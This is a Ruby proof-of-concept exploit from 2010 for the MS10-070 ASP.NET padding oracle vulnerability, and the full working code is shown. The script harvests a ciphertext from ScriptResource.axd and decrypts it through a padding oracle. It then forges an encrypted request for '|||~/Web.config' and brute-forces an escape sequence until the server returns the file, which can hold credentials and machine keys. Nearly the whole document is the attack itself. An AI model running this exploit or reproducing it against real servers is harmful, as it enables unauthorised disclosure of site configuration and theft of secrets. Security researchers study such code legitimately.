#!/usr/bin/ruby -w # # aspx_po_chotext_attack.rb # # Copyright (c) 2010 AmpliaSECURITY. All rights reserved # # http://www.ampliasecurity.com # Agustin Azubel - aazubel@ampliasecurity.com # # # MS10-070 ASPX proof of concept # Decrypt data using Vaudenay's cbc-padding-oracle-side-channel # Encrypt data using Rizzo-Duong CBC-R technique # # Copyright (c) 2010 Amplia Security. All rights reserved. # # Unless you have express writen permission from the Copyright # Holder, any use of or distribution of this software or portions of it, # including, but not limited to, reimplementations, modifications and derived # work of it, in either source code or any other form, as well as any other # software using or referencing it in any way, may NOT be sold for commercial # gain, must be covered by this very same license, and must retain this # copyright notice and this license. # Neither the name of the Copyright Holder nor the names of its contributors # may be used to endorse or promote products derived from this software # without specific prior written permission. # # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. # $debugging = false require 'net/http' require 'uri' require 'rexml/document' # module XArray def hex_inspect "[#{length}][ #{map { |x| x.hex_inspect }.join ", " } ]" end end class Array include XArray end # # require 'base64' class XBase64 def self.encode s s = Base64.encode64 s s = s.gsub '+', '-' s = s.gsub '/', '_' s = s.gsub "\n", '' s = s.gsub "\r", '' s = XBase64.encode_base64_padding s end def self.encode_base64_padding s padding_length = 0 padding_length += 1 while s[-1 - padding_length, 1] == "=" s[0..(-1 - padding_length)] + padding_length.to_s end def self.decode s s = s.gsub '-', '+' s = s.gsub '_', '/' s = self.decode_base64_padding s Base64.decode64 s end def self.decode_base64_padding s padding_length = s[-1,1].to_i s[0...-1] + ("=" * padding_length) end end # # module XString def xor other raise RuntimeError, "length mismatch" if self.length != other.length (0...length).map { |i| self[i] ^ other[i] }.map { |x| x.chr }.join end alias ^ :xor def hex_inspect printables = [ "\a", "\b", "\e", "\f", "\n", "\r", "\t", "\v" ] + \ (0x20..0x7e).entries "[#{length}]" + "\"#{unpack("C*").map { |x| printables.include?(x) ? x.chr : "\\x%02x" % x }.join}\"" end def to_blocks blocksize (0...length/blocksize).map { |i| self[blocksize * i, blocksize]} end end class String include XString end # # class PaddingVerificationStrategy def initialize parameters @parameters = parameters end def valid_padding? raise RuntimeError, "abstract method !" end end class ErrorCodeStrategy < PaddingVerificationStrategy def valid_padding? response invalid_padding_error_code = @parameters[:invalid_padding_error_code] not (invalid_padding_error_code == response.code) end end class BodyLengthStrategy < PaddingVerificationStrategy def valid_padding? response invalid_padding_body_length = @parameters[:invalid_padding_body_length] absolute_error = @parameters[:absolute_error] not ( (invalid_padding_body_length - response.body.length).abs < absolute_error) end end class BodyContentStrategy < PaddingVerificationStrategy def valid_padding? end end class TimingStrategy < PaddingVerificationStrategy def valid_padding? end end # # class PaddingOracleDecryptor attr_accessor :blocksize attr_accessor :d_value attr_accessor :http attr_accessor :strategy def initialize @tries = 0 @a = [] @decrypted = [] @blocksize = nil @d_value = nil @http = nil @strategy = nil end def discover_blocksize_and_oracle_behaviour puts "discovering blocksize and oracle behaviour..." [ 16, 8 ].each do |b| ciphertext = @d_value.clone ciphertext[-(b * 3)] ^= 0x01 response = http.send_request ciphertext valid_padding_code = response.code valid_padding_body_length = response.body.length 0.upto b - 1 do |i| ciphertext = @d_value.clone ciphertext[-(b * 2) + i] ^= 0x01 response = http.send_request ciphertext # puts "code: #{response.code}, length: #{response.body.length}" # if valid_padding_code != response.code # puts "padding verification strategy based on error code" # @strategy = ErrorCodeStrategy.new :valid_padding_code => valid_padding_code, # :invalid_padding_code => response.code # @blocksize = b # break # end if valid_padding_body_length != response.body.length absolute_error = 200 if (valid_padding_body_length - response.body.length).abs > absolute_error puts "padding verification strategy based on body length" @strategy = BodyLengthStrategy.new :valid_padding_body_length => valid_padding_body_length, :invalid_padding_body_length => response.body.length, :absolute_error => absolute_error @blocksize = b break end end end break if blocksize end raise RuntimeError, "could not select a valid padding verification strategy!" unless blocksize puts "discovered blocksize: #{blocksize}" # blocksize and padding_length leads to automatic tail decryption ! blocksize end def valid_padding? response strategy.valid_padding? response end def ask_oracle r @tries += 1 r = r[1..-1].pack "C" * blocksize ciphertext = d_value + r + @y response = http.send_request ciphertext return 1 if valid_padding? response return 0 end def decrypt_last_word print "last word... " $stdout.flush b = blocksize # 1. pick a few random words r[1],...,r[b] and take i = 0 saved_r = [0] saved_r += (1..b).map { |i| rand 0xff } i = 1 loop do r = saved_r.clone # 2. pick r = r[1],...,r[b-1],(r[b] xor i) r[b] = r[b] ^ i # 3. if O(r|y) = 0 then increment i and go back to the previous step break if ask_oracle(r) == 1 i += 1 raise "failed!" if i > 0xff end # 4. replace r[b] by r[b xor i] saved_r[b] = saved_r[b] ^ i # 5. for n = b down to 2 do # (a) take r = r[1],...,r[b-n],(r[b-n+1] xor 1),r[b-n+2],...,r[b] # (b) if O(r|y) = 0 then stop and output (r[b-n+1] xor n),...,r[b xor n] b.downto 2 do |n| r = saved_r.clone r[b-n+1] = r[b-n+1] ^ 1 if ask_oracle(r) == 0 # puts "lucky #{n}!" n.downto(1) do |t| word = r[b-t+1] ^ n @a[b-t+1] = word puts "a[#{b-t+1}]: #{word}" end return end end r = saved_r.clone # 6. output r[b] xor 1 last_word = r[b] ^ 1 @a[blocksize] = last_word # puts "\x07a[#{blocksize}]: 0x%02x" % @a[blocksize] end def decrypt_ax x print "a[#{x}]... " $stdout.flush b = blocksize j = x+1 saved_r = [ 0 ] # 2. pick r[1],...,r[j-1] at random and take i = 0 saved_r += (1..x).map { |i| rand 0xff } i = 0 # 1. take r[k] = a[k] xor ( b - j + 2) for k = j,...,b 2.upto b do |k| saved_r[k] = @a[k] ^ (b - j + 2) if x < k end loop do r = saved_r.clone # 3. take r = r[1]...r[j-2](r[j-1] xor i)r[j]..r[b] r[x] = r[x] ^ i # 4. if O(r|y) = 0 then increment i and go back to the previous step break if (ask_oracle r) == 1 i += 1 raise "failed!" if i > 255 end r = saved_r.clone # 5. output r[j-1] xor i xor (b - j + 2) @a[x] = (r[x] ^ i) ^ (b - j + 2) # puts "\x07a[#{x}]: 0x%02x" % @a[x] end def decrypt_block iv, y @tries = 0 @iv = iv @y = y print "decrypting " $stdout.flush decrypt_last_word (blocksize - 1).downto 1 do |j| decrypt_ax j end puts puts "tries: #{@tries}, average: #{(blocksize * 256) / 2}" @a.shift plaintext_block = (0...blocksize).map { |i| @a[i] ^ @iv[i] }.pack "C*" plaintext_block end def decrypt ciphertext plaintext_blocks = Array.new cipher_blocks = ciphertext.to_blocks blocksize iv = "\x00" * blocksize cipher_blocks.unshift iv 1.upto cipher_blocks.length - 2 do |i| plaintext_block = decrypt_block cipher_blocks[-i - 1], cipher_blocks[-i] plaintext_blocks.unshift plaintext_block end plaintext_blocks.join end end # class ASPXPaddingOracleChosenCiphertextAttack attr_reader :uri attr_reader :filename attr_reader :filelength attr_reader :filere attr_reader :http attr_reader :d_value attr_reader :blocksize attr_reader :axdpath attr_reader :axdname attr_reader :decryptor attr_reader :base_mask def initialize parameters @uri = URI.parse parameters[:uri] @filename = parameters[:filename] @filelength = parameters[:filelength] @filere = parameters[:filere] @http = http_initialize @d_value = nil @base_mask = rand 0xffff @blocksize = nil @axdpath = nil @axdname = nil @decryptor = PaddingOracleDecryptor.new puts "using target: #{@uri}" puts "using base_mask: 0x%04x" % @base_mask end def http_initialize http = Net::HTTP.new @uri.host, @uri.port http end def parse_script_tag xml, re d = nil doc = REXML::Document.new xml doc.elements.each 'script' do |e| src_attribute = e.attributes['src'] md = re.match src_attribute d = md[1] break end raise RuntimeError, "could not parse script_tag" unless d d end private :parse_script_tag def get_ciphertext_sample puts "starting connection..." http.start [ [ "ScriptResource.axd", /\/ScriptResource\.axd\?d=([a-zA-Z0-9\-\_]+)\&t=[a-z0-9]+/ ] ].each do |name, re| headers = { 'User-Agent' => \ 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' } response = http.get uri.path, headers body = response.body script_tags = body.lines.select { |x| x.index name } next if script_tags.empty? # puts "script tags using #{name} [#{script_tags.length}]:" # puts script_tags.map { |x| "\t#{x}" } d = parse_script_tag script_tags[0], re puts "using script: #{name}" puts "using d_value: #{d}" @axdpath = uri.path[0, uri.path.rindex('/')] @axdname = name @d_value = ("\x00" * 16) + (XBase64.decode d) break end raise RuntimeError, "could not find any axd sample" unless d_value decryptor.http = self decryptor.d_value = d_value d_value end def parse_html_body h, body parsed = String.new doc = REXML::Document.new body doc.elements.each h do |e| parsed = e.text break end parsed end def send_request d request = Net::HTTP::Get.new "/#{axdpath}/#{axdname}?d=#{XBase64.encode d}" request['Connection'] = 'Keep-Alive' @http.request request end def decrypt ciphertext decryptor.decrypt ciphertext end def discover_blocksize_and_oracle_behaviour @blocksize = decryptor.discover_blocksize_and_oracle_behaviour end def reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks puts "cipher_blocks.count: #{cipher_blocks.count}" required_block_count = 1 + new_plaintext_blocks.length + 1 puts "required_block_count: #{required_block_count}" if required_block_count < cipher_blocks.count then delta = cipher_blocks.count - required_block_count puts "removing #{delta} extra blocks..." cipher_blocks = [ cipher_blocks[0] ] + cipher_blocks[-required_block_count+1..-1] elsif required_block_count > cipher_blocks.count then delta = required_block_count - cipher_blocks.count puts "adding #{delta} extra_blocks..." cipher_blocks = [ cipher_blocks[0], ("\x00" * blocksize) * delta ] + cipher_blocks[1..-1] end puts "cipher_blocks.count: #{cipher_blocks.count}" cipher_blocks end private :reallocate_cipher_blocks def generate_new_plaintext_blocks tail_padding = "\x01" head_padding_length = blocksize - ( (@filename.length + tail_padding.length) % blocksize) head_padding_length = 0 if head_padding_length == blocksize head_padding = "\x00" * head_padding_length new_plaintext = head_padding + @filename + tail_padding new_plaintext.to_blocks blocksize end private :generate_new_plaintext_blocks def encrypt puts "encrypting \"#{@filename.hex_inspect}..." new_plaintext_blocks = generate_new_plaintext_blocks cipher_blocks = @d_value.to_blocks blocksize cipher_blocks = reallocate_cipher_blocks cipher_blocks, new_plaintext_blocks puts "decrypting #{new_plaintext_blocks.length} blocks..." (1..new_plaintext_blocks.length).each do |i| puts "block #{i} of #{new_plaintext_blocks.length}" old_plaintext_block = decryptor.decrypt_block cipher_blocks[-i - 1], cipher_blocks[-i] puts "old_plaintext_block: #{old_plaintext_block.hex_inspect}" cipher_blocks[-1 - i] ^= old_plaintext_block ^ new_plaintext_blocks[-i] end puts "eye candy: decrypting crafted ciphertext" new_plaintext = decrypt cipher_blocks.join puts "new_plaintext: #{new_plaintext.hex_inspect}" @d_value = cipher_blocks.join end def discover_escape_sequence puts "discovering escape sequence..." escape_sequence_mask = nil offset = base_mask % (blocksize - 4) ciphertext = d_value.clone 0x1ffff.times do |mask| ciphertext[offset, 4] = [ base_mask + mask ].pack "L" response = send_request ciphertext print "\rtrying escape_mask: 0x%05x/0x1ffff, http_code: %4d, body_length: %5d" % \ [ mask, response.code, response.body.length ] next unless response.code == "200" next if filelength and (response.body.length < filelength) next if filere and (not filere =~ response.body) escape_sequence_mask = base_mask + mask puts puts "found!" puts "press any key to show the contents of the file" $stdin.gets puts response.body break end raise RuntimeError, "no more combinations to try !" unless escape_sequence_mask escape_sequence_mask end def pause puts puts "press any key to start the attack" $stdin.gets end def run get_ciphertext_sample pause discover_blocksize_and_oracle_behaviour encrypt discover_escape_sequence end end puts [ "-------------------------------------------", "aspx_po_chotext_attack.rb", "(c) 2010 AmpliaSECURITY", "http://www.ampliasecurity.com", "Agustin Azubel - aazubel@ampliasecurity.com", "-------------------------------------------", "\n" ].join "\n" if ARGV.length != 1 then $stderr.puts "usage: ruby #{$PROGRAM_NAME} http://192.168.1.1/Default.aspx" exit end begin parameters = { :uri => ARGV.first, :filename => "|||~/Web.config", :filere => /configuration/ } x = ASPXPaddingOracleChosenCiphertextAttack.new parameters x.run rescue Exception => e $stderr.puts "Exploit failed: #{e}" raise if $debugging end